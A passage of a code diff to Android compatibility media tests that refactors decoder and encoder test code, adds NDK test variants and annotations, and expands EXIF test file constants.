+    private void release() {
         try {
             mDecoder.stop();
         } catch (Exception e) {
@@ -137,26 +133,16 @@
         int resId = mResources.getIdentifier(vectorName, "raw", mContext.getPackageName());
         AssetFileDescriptor testFd = mResources.openRawResourceFd(resId);
         mExtractor = new MediaExtractor();
-        mExtractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
-                                 testFd.getLength());
+        mExtractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(), testFd.getLength());
         mExtractor.selectTrack(0);
-        int trackIndex = mExtractor.getSampleTrackIndex();
-        MediaFormat format = mExtractor.getTrackFormat(trackIndex);
-        mDecoder = MediaCodec.createByCodecName(decoderName);
 
         MediaCodecInfo codecInfo = mDecoder.getCodecInfo();
         MediaCodecInfo.CodecCapabilities caps = codecInfo.getCapabilitiesForType(mime);
-        if (!caps.isFormatSupported(format)) {
+        if (!caps.isFormatSupported(mExtractor.getTrackFormat(0))) {
             return Status.SKIP;
         }
 
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        int decodeFrameCount = 0;
-        boolean sawInputEOS = false;
-        boolean sawOutputEOS = false;
-        final long kTimeOutUs = 5000; // 5ms timeout
         List<String> frameMD5Sums;
-
         try {
             frameMD5Sums = readVectorMD5Sums(mime, vectorName);
         } catch(Exception e) {
@@ -164,80 +150,16 @@
             return Status.FAIL;
         }
 
-        int expectFrameCount = frameMD5Sums.size();
-        mDecoder.configure(format, null /* surface */, null /* crypto */, 0 /* flags */);
-        mDecoder.start();
-
-        while (!sawOutputEOS) {
-            // handle input
-            if (!sawInputEOS) {
-                int inputIndex = mDecoder.dequeueInputBuffer(kTimeOutUs);
-                if (inputIndex >= 0) {
-                    ByteBuffer buffer = mDecoder.getInputBuffer(inputIndex);
-                    int sampleSize = mExtractor.readSampleData(buffer, 0);
-                    if (sampleSize < 0) {
-                        mDecoder.queueInputBuffer(inputIndex, 0, 0, 0,
-                                                  MediaCodec.BUFFER_FLAG_END_OF_STREAM);
-                        sawInputEOS = true;
-                    } else {
-                        mDecoder.queueInputBuffer(inputIndex, 0, sampleSize, mExtractor.getSampleTime(), 0);
-                        mExtractor.advance();
-                    }
-                }
+        try {
+            mDecoder = MediaCodec.createByCodecName(decoderName);
+            if (MediaUtils.verifyDecoder(mDecoder, mExtractor, frameMD5Sums)) {
+                return Status.PASS;
             }
-
-            // handle output
-            int outputBufIndex = mDecoder.dequeueOutputBuffer(info, kTimeOutUs);
-            if (outputBufIndex >= 0) {
-                if (info.size > 0) { // Disregard 0-sized buffers at the end.
-                    MediaFormat bufferFormat = mDecoder.getOutputFormat(outputBufIndex);
-                    int width = bufferFormat.getInteger(MediaFormat.KEY_WIDTH);
-                    int height = bufferFormat.getInteger(MediaFormat.KEY_HEIGHT);
-                    int colorFmt = bufferFormat.getInteger(MediaFormat.KEY_COLOR_FORMAT);
-
-                    String md5CheckSum = "";
-                    try  {
-                        Image image = mDecoder.getOutputImage(outputBufIndex);
-                        md5CheckSum = CodecUtils.getImageMD5Checksum(image);
-                    } catch (Exception e) {
-                        Log.e(TAG, "getOutputImage md5CheckSum failed", e);
-                        return Status.FAIL;
-                    }
-
-                    if (!md5CheckSum.equals(frameMD5Sums.get(decodeFrameCount))) {
-                        Log.d(TAG, "Frame " + decodeFrameCount + " md5sum mismatch");
-                        return Status.FAIL;
-                    }
-
-                    decodeFrameCount++;
-                }
-                mDecoder.releaseOutputBuffer(outputBufIndex, false /* render */);
-                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    sawOutputEOS = true;
-                }
-            } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                MediaFormat decOutputFormat = mDecoder.getOutputFormat();
-                int width = decOutputFormat.getInteger(MediaFormat.KEY_WIDTH);
-                int height = decOutputFormat.getInteger(MediaFormat.KEY_HEIGHT);
-                Log.d(TAG, "output format " + decOutputFormat);
-            } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                Log.i(TAG, "Skip handling MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED");
-            } else {
-                assertEquals(
-                        "decoder.dequeueOutputBuffer() unrecognized return index: " + outputBufIndex,
-                        MediaCodec.INFO_TRY_AGAIN_LATER, outputBufIndex);
-            }
-        }
-
-        if (decodeFrameCount != expectFrameCount) {
-            Log.d(TAG, vectorName + " decode frame count not match");
+            Log.d(TAG, vectorName + " decoded frames do not match");
             return Status.FAIL;
+        } finally {
+            release();
         }
-
-        mDecoder.stop();
-        mDecoder.release();
-        mExtractor.release();
-        return Status.PASS;
     }
 
     void decodeTestVectors(String mime, boolean isGoog) throws Exception {
@@ -272,7 +194,7 @@
 
                 if (!pass) {
                     // Release mediacodec in failure or exception cases.
-                    releaseMediacodec();
+                    release();
                 }
             }
 
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 3025306..08d8d74 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -22,7 +22,6 @@
 import android.content.pm.PackageManager;
 import android.content.res.AssetFileDescriptor;
 import android.content.res.Resources;
-import android.cts.util.MediaUtils;
 import android.graphics.ImageFormat;
 import android.media.cts.CodecUtils;
 import android.media.Image;
@@ -39,6 +38,7 @@
 
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import com.android.compatibility.common.util.MediaUtils;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
 
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
index 131cb55..997967c 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
@@ -21,7 +21,6 @@
 import android.app.Instrumentation;
 import android.content.res.AssetFileDescriptor;
 import android.content.res.Resources;
-import android.cts.util.CtsAndroidTestCase;
 import android.media.cts.DecoderTest.AudioParameter;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
@@ -31,6 +30,8 @@
 import android.support.test.InstrumentationRegistry;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
 import static org.junit.Assert.*;
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java b/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
index f70f83a..8508ef2 100755
--- a/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
@@ -16,7 +16,6 @@
 
 package android.media.cts;
 
-import android.cts.util.MediaUtils;
 import android.graphics.ImageFormat;
 import android.media.Image;
 import android.media.MediaCodec;
@@ -24,9 +23,12 @@
 import android.media.MediaCodecList;
 import android.media.MediaFormat;
 import android.opengl.GLES20;
+import android.support.test.filters.SmallTest;
+import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.MediaUtils;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.nio.ByteBuffer;
@@ -34,7 +36,6 @@
 
 import javax.microedition.khronos.opengles.GL10;
 
-
 /**
  * Generates a series of video frames, encodes them, decodes them, and tests for significant
  * divergence from the original.
@@ -47,6 +48,8 @@
  * file, and read it back in from disk.  The data we're generating is just an elementary
  * stream, so we'd need to perform additional steps to make that happen.
  */
+@SmallTest
+@RequiresDevice
 public class EncodeDecodeTest extends AndroidTestCase {
     private static final String TAG = "EncodeDecodeTest";
     private static final boolean VERBOSE = false;           // lots of logging
@@ -78,6 +81,7 @@
     private static final int TEST_R1_BT709 = 250;           // RGB equivalent of {120,160,200} (BT.709)
     private static final int TEST_G1_BT709 = 76;
     private static final int TEST_B1_BT709 = 189;
+    private static final boolean USE_NDK = true;
 
     // size of a frame, in pixels
     private int mWidth = -1;
@@ -210,15 +214,19 @@
      */
     public void testEncodeDecodeVideoFromSurfaceToSurfaceQCIF() throws Throwable {
         setParameters(176, 144, 1000000, MIME_TYPE_AVC, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, false);
+        SurfaceToSurfaceWrapper.runTest(this, false, false);
     }
     public void testEncodeDecodeVideoFromSurfaceToSurfaceQVGA() throws Throwable {
         setParameters(320, 240, 2000000, MIME_TYPE_AVC, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, false);
+        SurfaceToSurfaceWrapper.runTest(this, false, false);
     }
     public void testEncodeDecodeVideoFromSurfaceToSurface720p() throws Throwable {
         setParameters(1280, 720, 6000000, MIME_TYPE_AVC, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, false);
+        SurfaceToSurfaceWrapper.runTest(this, false, false);
+    }
+    public void testEncodeDecodeVideoFromSurfaceToSurface720pNdk() throws Throwable {
+        setParameters(1280, 720, 6000000, MIME_TYPE_AVC, true, false);
+        SurfaceToSurfaceWrapper.runTest(this, false, USE_NDK);
     }
 
     /**
@@ -227,15 +235,19 @@
      */
     public void testEncodeDecodeVideoFromPersistentSurfaceToSurfaceQCIF() throws Throwable {
         setParameters(176, 144, 1000000, MIME_TYPE_AVC, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, true);
+        SurfaceToSurfaceWrapper.runTest(this, true, false);
     }
     public void testEncodeDecodeVideoFromPersistentSurfaceToSurfaceQVGA() throws Throwable {
         setParameters(320, 240, 2000000, MIME_TYPE_AVC, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, true);
+        SurfaceToSurfaceWrapper.runTest(this, true, false);
     }
     public void testEncodeDecodeVideoFromPersistentSurfaceToSurface720p() throws Throwable {
         setParameters(1280, 720, 6000000, MIME_TYPE_AVC, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, true);
+        SurfaceToSurfaceWrapper.runTest(this, true, false);
+    }
+    public void testEncodeDecodeVideoFromPersistentSurfaceToSurface720pNdk() throws Throwable {
+        setParameters(1280, 720, 6000000, MIME_TYPE_AVC, true, false);
+        SurfaceToSurfaceWrapper.runTest(this, true, USE_NDK);
     }
 
     /**
@@ -244,15 +256,19 @@
      */
     public void testVP8EncodeDecodeVideoFromSurfaceToSurfaceQCIF() throws Throwable {
         setParameters(176, 144, 1000000, MIME_TYPE_VP8, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, false);
+        SurfaceToSurfaceWrapper.runTest(this, false, false);
     }
     public void testVP8EncodeDecodeVideoFromSurfaceToSurfaceQVGA() throws Throwable {
         setParameters(320, 240, 2000000, MIME_TYPE_VP8, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, false);
+        SurfaceToSurfaceWrapper.runTest(this, false, false);
     }
     public void testVP8EncodeDecodeVideoFromSurfaceToSurface720p() throws Throwable {
         setParameters(1280, 720, 6000000, MIME_TYPE_VP8, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, false);
+        SurfaceToSurfaceWrapper.runTest(this, false, false);
+    }
+    public void testVP8EncodeDecodeVideoFromSurfaceToSurface720pNdk() throws Throwable {
+        setParameters(1280, 720, 6000000, MIME_TYPE_VP8, true, false);
+        SurfaceToSurfaceWrapper.runTest(this, false, USE_NDK);
     }
 
     /**
@@ -261,15 +277,19 @@
      */
     public void testVP8EncodeDecodeVideoFromPersistentSurfaceToSurfaceQCIF() throws Throwable {
         setParameters(176, 144, 1000000, MIME_TYPE_VP8, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, true);
+        SurfaceToSurfaceWrapper.runTest(this, true, false);
     }
     public void testVP8EncodeDecodeVideoFromPersistentSurfaceToSurfaceQVGA() throws Throwable {
         setParameters(320, 240, 2000000, MIME_TYPE_VP8, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, true);
+        SurfaceToSurfaceWrapper.runTest(this, true, false);
     }
     public void testVP8EncodeDecodeVideoFromPersistentSurfaceToSurface720p() throws Throwable {
         setParameters(1280, 720, 6000000, MIME_TYPE_VP8, true, false);
-        SurfaceToSurfaceWrapper.runTest(this, true);
+        SurfaceToSurfaceWrapper.runTest(this, true, false);
+    }
+    public void testVP8EncodeDecodeVideoFromPersistentSurfaceToSurface720pNdk() throws Throwable {
+        setParameters(1280, 720, 6000000, MIME_TYPE_VP8, true, false);
+        SurfaceToSurfaceWrapper.runTest(this, true, USE_NDK);
     }
 
     /** Wraps testEncodeDecodeVideoFromSurfaceToSurface() */
@@ -277,10 +297,12 @@
         private Throwable mThrowable;
         private EncodeDecodeTest mTest;
         private boolean mUsePersistentInput;
+        private boolean mUseNdk;
 
-        private SurfaceToSurfaceWrapper(EncodeDecodeTest test, boolean persistent) {
+        private SurfaceToSurfaceWrapper(EncodeDecodeTest test, boolean persistent, boolean useNdk) {
             mTest = test;
             mUsePersistentInput = persistent;
+            mUseNdk = useNdk;
         }
 
         @Override
@@ -289,18 +311,21 @@
                 return;
             }
 
-            InputSurface inputSurface = null;
+            InputSurfaceInterface inputSurface = null;
             try {
                 if (!mUsePersistentInput) {
-                    mTest.encodeDecodeVideoFromSurfaceToSurface(null);
+                    mTest.encodeDecodeVideoFromSurfaceToSurface(null, mUseNdk);
                 } else {
                     Log.d(TAG, "creating persistent surface");
-                    inputSurface = new InputSurface(
-                            MediaCodec.createPersistentInputSurface());
+                    if (mUseNdk) {
+                        inputSurface = NdkMediaCodec.createPersistentInputSurface();
+                    } else {
+                        inputSurface = new InputSurface(MediaCodec.createPersistentInputSurface());
+                    }
 
                     for (int i = 0; i < 3; i++) {
                         Log.d(TAG, "test persistent surface - round " + i);
-                        mTest.encodeDecodeVideoFromSurfaceToSurface(inputSurface);
+                        mTest.encodeDecodeVideoFromSurfaceToSurface(inputSurface, mUseNdk);
                     }
                 }
             } catch (Throwable th) {
@@ -315,10 +340,10 @@
         /**
          * Entry point.
          */
-        public static void runTest(EncodeDecodeTest obj, boolean persisent)
+        public static void runTest(EncodeDecodeTest obj, boolean persisent, boolean useNdk)
                 throws Throwable {
             SurfaceToSurfaceWrapper wrapper =
-                    new SurfaceToSurfaceWrapper(obj, persisent);
+                    new SurfaceToSurfaceWrapper(obj, persisent, useNdk);
             Thread th = new Thread(wrapper, "codec test");
             th.start();
             th.join();
@@ -331,7 +356,7 @@
     /**
      * Sets the desired frame size and bit rate.
      */
-    private void setParameters(int width, int height, int bitRate, String mimeType,
+    protected void setParameters(int width, int height, int bitRate, String mimeType,
 	        boolean allowBT601, boolean allowBT709) {
         if ((width % 16) != 0 || (height % 16) != 0) {
             Log.w(TAG, "WARNING: width or height not multiple of 16");
@@ -390,7 +415,7 @@
                 return;
             }
             if (VERBOSE) Log.d(TAG, "found codec: " + codec);
-            
+
             String codec_decoder = mcl.findDecoderForFormat(format);
             if (codec_decoder == null) {
                 Log.e(TAG, "Unable to find an appropriate codec for " + format);
@@ -442,10 +467,10 @@
      * We encode several frames of a video test pattern using MediaCodec, then decode the
      * output with MediaCodec and do some simple checks.
      */
-    private void encodeDecodeVideoFromSurfaceToSurface(InputSurface inSurf) throws Exception {
-        MediaCodec encoder = null;
+    private void encodeDecodeVideoFromSurfaceToSurface(InputSurfaceInterface inSurf, boolean useNdk) throws Exception {
+        MediaCodecWrapper encoder = null;
         MediaCodec decoder = null;
-        InputSurface inputSurface = inSurf;
+        InputSurfaceInterface inputSurface = inSurf;
         OutputSurface outputSurface = null;
 
         mLargestColorDelta = -1;
@@ -490,14 +515,18 @@
 
             // Create a MediaCodec for the desired codec, then configure it as an encoder with
             // our desired properties.  Request a Surface to use for input.
-            encoder = MediaCodec.createByCodecName(codec);
-            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            if (useNdk) {
+                encoder = new NdkMediaCodec(codec);
+            }else {
+                encoder = new SdkMediaCodec(MediaCodec.createByCodecName(codec));
+            }
+            encoder.configure(format, MediaCodec.CONFIGURE_FLAG_ENCODE);
             if (inSurf != null) {
                 Log.d(TAG, "using persistent surface");
-                encoder.setInputSurface(inputSurface.getSurface());
+                encoder.setInputSurface(inputSurface);
                 inputSurface.updateSize(mWidth, mHeight);
             } else {
-                inputSurface = new InputSurface(encoder.createInputSurface());
+                inputSurface = encoder.createInputSurface();
             }
             encoder.start();
 
@@ -653,7 +682,7 @@
                     } else {
                         generateFrame(generateIndex, encoderColorFormat, frameData);
 
-                        ByteBuffer inputBuf = encoderInputBuffers[inputBufIndex];
+                        ByteBuffer inputBuf = encoder.getInputBuffer(inputBufIndex);
                         // the buffer should be sized to hold one full frame
                         assertTrue(inputBuf.capacity() >= frameData.length);
                         inputBuf.clear();
@@ -694,7 +723,7 @@
                 } else if (encoderStatus < 0) {
                     fail("unexpected result from encoder.dequeueOutputBuffer: " + encoderStatus);
                 } else { // encoderStatus >= 0
-                    ByteBuffer encodedData = encoderOutputBuffers[encoderStatus];
+                    ByteBuffer encodedData = encoder.getOutputBuffer(encoderStatus);
                     if (encodedData == null) {
                         fail("encoderOutputBuffer " + encoderStatus + " was null");
                     }
@@ -873,8 +902,8 @@
     /**
      * Does the actual work for encoding and decoding from Surface to Surface.
      */
-    private void doEncodeDecodeVideoFromSurfaceToSurface(MediaCodec encoder,
-            InputSurface inputSurface, MediaCodec decoder,
+    private void doEncodeDecodeVideoFromSurfaceToSurface(MediaCodecWrapper encoder,
+            InputSurfaceInterface inputSurface, MediaCodec decoder,
             OutputSurface outputSurface) {
         final int TIMEOUT_USEC = 10000;
         ByteBuffer[] encoderOutputBuffers = encoder.getOutputBuffers();
@@ -992,12 +1021,12 @@
                         if (VERBOSE) Log.d(TAG, "encoder output buffers changed");
                     } else if (encoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
                         // expected on API 18+
-                        MediaFormat newFormat = encoder.getOutputFormat();
+                        String newFormat = encoder.getOutputFormatString();
                         if (VERBOSE) Log.d(TAG, "encoder output format changed: " + newFormat);
                     } else if (encoderStatus < 0) {
                         fail("unexpected result from encoder.dequeueOutputBuffer: " + encoderStatus);
                     } else { // encoderStatus >= 0
-                        ByteBuffer encodedData = encoderOutputBuffers[encoderStatus];
+                        ByteBuffer encodedData = encoder.getOutputBuffer(encoderStatus);
                         if (encodedData == null) {
                             fail("encoderOutputBuffer " + encoderStatus + " was null");
                         }
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
index 48fcb65..9a3392a 100755
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
@@ -29,6 +29,8 @@
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.Looper;
+import android.support.test.filters.SmallTest;
+import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
 import android.util.DisplayMetrics;
 import android.util.Log;
@@ -59,6 +61,8 @@
  * The test puts up a series of colored screens, expecting to see all of them, and in order.
  * Any black screens that appear before or after are ignored.
  */
+@SmallTest
+@RequiresDevice
 public class EncodeVirtualDisplayTest extends AndroidTestCase {
     private static final String TAG = "EncodeVirtualTest";
     private static final boolean VERBOSE = false;           // lots of logging
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java
index bd14f36..813742a 100644
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java
@@ -43,6 +43,8 @@
 import android.os.Looper;
 import android.os.Message;
 import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
 import android.util.AttributeSet;
 import android.util.Log;
@@ -76,6 +78,8 @@
  * detect any issues. The test itself does not check the output as it is already done in other
  * tests.
  */
+@SmallTest
+@RequiresDevice
 public class EncodeVirtualDisplayWithCompositionTest extends AndroidTestCase {
     private static final String TAG = "EncodeVirtualDisplayWithCompositionTest";
     private static final boolean DBG = true;
@@ -419,52 +423,55 @@
                 Log.i(TAG, "start encoding");
             }
             EncodingHelper encodingHelper = new EncodingHelper();
-            mEncodingSurface = encodingHelper.startEncoding(maxSize.getWidth(), maxSize.getHeight(),
-                    mEncoderEventListener);
-            GlCompositor compositor = new GlCompositor();
-            if (DBG) {
-                Log.i(TAG, "start composition");
-            }
-            compositor.startComposition(mEncodingSurface, maxSize.getWidth(), maxSize.getHeight(),
-                    numDisplays);
-            for (int j = 0; j < NUM_DISPLAY_CREATION; j++) {
+            try {
+                mEncodingSurface = encodingHelper.startEncoding(
+                        maxSize.getWidth(), maxSize.getHeight(), mEncoderEventListener);
+                GlCompositor compositor = new GlCompositor();
                 if (DBG) {
-                    Log.i(TAG, "create display");
+                    Log.i(TAG, "start composition");
                 }
-                for (int k = 0; k < numDisplays; k++) {
-                    virtualDisplays[k] =
-                        new VirtualDisplayPresentation(getContext(),
-                                compositor.getWindowSurface(k),
-                                maxSize.getWidth()/numDisplays, maxSize.getHeight());
-                    virtualDisplays[k].createVirtualDisplay();
-                    virtualDisplays[k].createPresentation();
-                }
-                if (DBG) {
-                    Log.i(TAG, "start rendering");
-                }
-                for (int k = 0; k < NUM_RENDERING; k++) {
-                    for (int l = 0; l < numDisplays; l++) {
-                        virtualDisplays[l].doRendering(COLOR_RED);
+                compositor.startComposition(mEncodingSurface,
+                        maxSize.getWidth(), maxSize.getHeight(), numDisplays);
+                for (int j = 0; j < NUM_DISPLAY_CREATION; j++) {
+                    if (DBG) {
+                        Log.i(TAG, "create display");
                     }
-                    // do not care how many frames are actually rendered.
-                    Thread.sleep(1);
+                    for (int k = 0; k < numDisplays; k++) {
+                        virtualDisplays[k] =
+                            new VirtualDisplayPresentation(getContext(),
+                                    compositor.getWindowSurface(k),
+                                    maxSize.getWidth()/numDisplays, maxSize.getHeight());
+                        virtualDisplays[k].createVirtualDisplay();
+                        virtualDisplays[k].createPresentation();
+                    }
+                    if (DBG) {
+                        Log.i(TAG, "start rendering");
+                    }
+                    for (int k = 0; k < NUM_RENDERING; k++) {
+                        for (int l = 0; l < numDisplays; l++) {
+                            virtualDisplays[l].doRendering(COLOR_RED);
+                        }
+                        // do not care how many frames are actually rendered.
+                        Thread.sleep(1);
+                    }
+                    for (int k = 0; k < numDisplays; k++) {
+                        virtualDisplays[k].dismissPresentation();
+                        virtualDisplays[k].destroyVirtualDisplay();
+                    }
+                    compositor.recreateWindows();
                 }
-                for (int k = 0; k < numDisplays; k++) {
-                    virtualDisplays[k].dismissPresentation();
-                    virtualDisplays[k].destroyVirtualDisplay();
+                if (DBG) {
+                    Log.i(TAG, "stop composition");
                 }
-                compositor.recreateWindows();
+                compositor.stopComposition();
+            } finally {
+                if (DBG) {
+                    Log.i(TAG, "stop encoding");
+                }
+                encodingHelper.stopEncoding();
+                assertTrue(mCodecConfigReceived);
+                assertTrue(mCodecBufferReceived);
             }
-            if (DBG) {
-                Log.i(TAG, "stop composition");
-            }
-            compositor.stopComposition();
-            if (DBG) {
-                Log.i(TAG, "stop encoding");
-            }
-            encodingHelper.stopEncoding();
-            assertTrue(mCodecConfigReceived);
-            assertTrue(mCodecBufferReceived);
         }
     }
 
@@ -539,6 +546,7 @@
             } else if (mW == 800 && mH == 480) {
                 bitRate = BITRATE_800x480;
             }
+            format.setInteger(MediaFormat.KEY_BIT_RATE, bitRate);
             format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
             format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
 
@@ -548,19 +556,15 @@
                 throw new RuntimeException("encoder "+ MIME_TYPE + " not support : " + format.toString());
             }
 
-            mEncoder = MediaCodec.createByCodecName(codecName);
-            format.setInteger(
-                    MediaFormat.KEY_BIT_RATE,
-                    mEncoder.getCodecInfo().getCapabilitiesForType(MIME_TYPE).getVideoCapabilities()
-                            .getBitrateRange().clamp(bitRate));
-            mEncoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            mEncodingSurface = mEncoder.createInputSurface();
-            mEncoder.start();
-            mInitCompleted.release();
-            if (DBG) {
-                Log.i(TAG, "starting encoder");
-            }
             try {
+                mEncoder = MediaCodec.createByCodecName(codecName);
+                mEncoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+                mEncodingSurface = mEncoder.createInputSurface();
+                mEncoder.start();
+                mInitCompleted.release();
+                if (DBG) {
+                    Log.i(TAG, "starting encoder");
+                }
                 ByteBuffer[] encoderOutputBuffers = mEncoder.getOutputBuffers();
                 MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
                 while (!mStopEncoding) {
@@ -595,11 +599,15 @@
                 e.printStackTrace();
                 throw e;
             } finally {
-                mEncoder.stop();
-                mEncoder.release();
-                mEncoder = null;
-                mEncodingSurface.release();
-                mEncodingSurface = null;
+                if (mEncoder != null) {
+                    mEncoder.stop();
+                    mEncoder.release();
+                    mEncoder = null;
+                }
+                if (mEncodingSurface != null) {
+                    mEncodingSurface.release();
+                    mEncodingSurface = null;
+                }
             }
         }
     }
diff --git a/tests/tests/media/src/android/media/cts/EncoderTest.java b/tests/tests/media/src/android/media/cts/EncoderTest.java
index e086347..cf2e8f6 100644
--- a/tests/tests/media/src/android/media/cts/EncoderTest.java
+++ b/tests/tests/media/src/android/media/cts/EncoderTest.java
@@ -19,7 +19,6 @@
 import android.media.cts.R;
 
 import android.content.Context;
-import android.cts.util.MediaUtils;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
 import android.media.MediaCodecList;
@@ -28,6 +27,8 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.File;
 import java.io.InputStream;
 import java.nio.BufferOverflowException;
diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
index c346dad..9b5f001 100644
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
@@ -28,10 +28,12 @@
 import android.system.OsConstants;
 
 import java.io.BufferedInputStream;
+import java.io.ByteArrayInputStream;
 import java.io.File;
 import java.io.FileDescriptor;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
+import java.io.FileNotFoundException;
 import java.io.InputStream;
 import java.io.IOException;
 import java.lang.reflect.Type;
@@ -45,14 +47,24 @@
 
     private static final double DIFFERENCE_TOLERANCE = .001;
 
-    // List of files.
+    private static final String EXTERNAL_BASE_DIRECTORY = "/test/images/";
+
+    // This base directory is needed for the files listed below.
+    // These files will be available for download in Android O release.
+    // Link: https://source.android.com/compatibility/cts/downloads.html#cts-media-files
     private static final String EXIF_BYTE_ORDER_II_JPEG = "image_exif_byte_order_ii.jpg";
     private static final String EXIF_BYTE_ORDER_MM_JPEG = "image_exif_byte_order_mm.jpg";
     private static final String LG_G4_ISO_800_DNG = "lg_g4_iso_800.dng";
-    private static final int[] IMAGE_RESOURCES = new int[] {
-            R.raw.image_exif_byte_order_ii,  R.raw.image_exif_byte_order_mm, R.raw.lg_g4_iso_800 };
-    private static final String[] IMAGE_FILENAMES = new String[] {
-            EXIF_BYTE_ORDER_II_JPEG, EXIF_BYTE_ORDER_MM_JPEG, LG_G4_ISO_800_DNG };
+    private static final String SONY_RX_100_ARW = "sony_rx_100.arw";
+    private static final String CANON_G7X_CR2 = "canon_g7x.cr2";
+    private static final String FUJI_X20_RAF = "fuji_x20.raf";
+    private static final String NIKON_1AW1_NEF = "nikon_1aw1.nef";
+    private static final String NIKON_P330_NRW = "nikon_p330.nrw";
+    private static final String OLYMPUS_E_PL3_ORF = "olympus_e_pl3.orf";
+    private static final String PANASONIC_GM5_RW2 = "panasonic_gm5.rw2";
+    private static final String PENTAX_K5_PEF = "pentax_k5.pef";
+    private static final String SAMSUNG_NX3000_SRW = "samsung_nx3000.srw";
+    private static final String VOLANTIS_JPEG = "volantis.jpg";
 
     private static final String[] EXIF_TAGS = {
             ExifInterface.TAG_MAKE,
@@ -83,6 +95,7 @@
         public final boolean hasThumbnail;
         public final int thumbnailWidth;
         public final int thumbnailHeight;
+        public final boolean isThumbnailCompressed;
 
         // GPS information.
         public final boolean hasLatLong;
@@ -122,93 +135,54 @@
         }
 
         public ExpectedValue(TypedArray typedArray) {
+            int index = 0;
+
             // Reads thumbnail information.
-            hasThumbnail = typedArray.getBoolean(0, false);
-            thumbnailWidth = typedArray.getInt(1, 0);
-            thumbnailHeight = typedArray.getInt(2, 0);
+            hasThumbnail = typedArray.getBoolean(index++, false);
+            thumbnailWidth = typedArray.getInt(index++, 0);
+            thumbnailHeight = typedArray.getInt(index++, 0);
+            isThumbnailCompressed = typedArray.getBoolean(index++, false);
 
             // Reads GPS information.
-            hasLatLong = typedArray.getBoolean(3, false);
-            latitude = typedArray.getFloat(4, 0f);
-            longitude = typedArray.getFloat(5, 0f);
-            altitude = typedArray.getFloat(6, 0f);
+            hasLatLong = typedArray.getBoolean(index++, false);
+            latitude = typedArray.getFloat(index++, 0f);
+            longitude = typedArray.getFloat(index++, 0f);
+            altitude = typedArray.getFloat(index++, 0f);
 
             // Reads values.
-            make = getString(typedArray, 7);
-            model = getString(typedArray, 8);
-            aperture = typedArray.getFloat(9, 0f);
-            datetime = getString(typedArray, 10);
-            exposureTime = typedArray.getFloat(11, 0f);
-            flash = typedArray.getFloat(12, 0f);
-            focalLength = getString(typedArray, 13);
-            gpsAltitude = getString(typedArray, 14);
-            gpsAltitudeRef = getString(typedArray, 15);
